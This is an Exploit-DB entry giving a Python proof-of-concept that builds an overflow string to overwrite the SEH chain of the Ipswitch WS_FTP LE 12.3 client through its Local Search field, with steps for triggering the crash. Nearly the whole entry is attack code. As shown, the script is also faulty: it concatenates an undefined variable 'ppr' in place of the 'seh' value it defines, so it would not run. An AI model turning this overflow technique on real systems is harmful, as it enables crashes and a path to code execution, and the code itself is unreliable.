Ipswitch WS_FTP LE 12.3 - Search field Overwrite (SEH) (PoC)

EDB-ID:

39796

CVE:

N/A

Type:

dos

Platform:

Windows

Published:

2016-05-10

#!/usr/bin/python
#Author: Zahid Adeel
#Author Email: exploiter.zee@gmail.com
#Title: Ipswitch WS_FTP LE 12.3 - Search field SEH Overwrite POC
#Vendor Homepage: http://www.wsftple.com/ 
#Software Link: http://www.wsftple.com/download.aspx
#Version: LE 12.3
#Tested on: Windows 8.1 x64 Pro
#Date: 2016-05-10

#Steps:
#Run WS_FTP LE client, Navigate to "Local Search" option in the Tools menu, paste the contents of wsftple-poc.txt in search field and press Enter.

fname="wsftple-poc.txt"

junk = "A" * 840
n_seh = "BBBB"
seh = "CCCC"

padding = "F" * (1000 - len(junk) - 8)
poc = junk + n_seh + ppr + padding

fhandle = open(fname , 'wb')
fhandle.write(poc)
fhandle.close()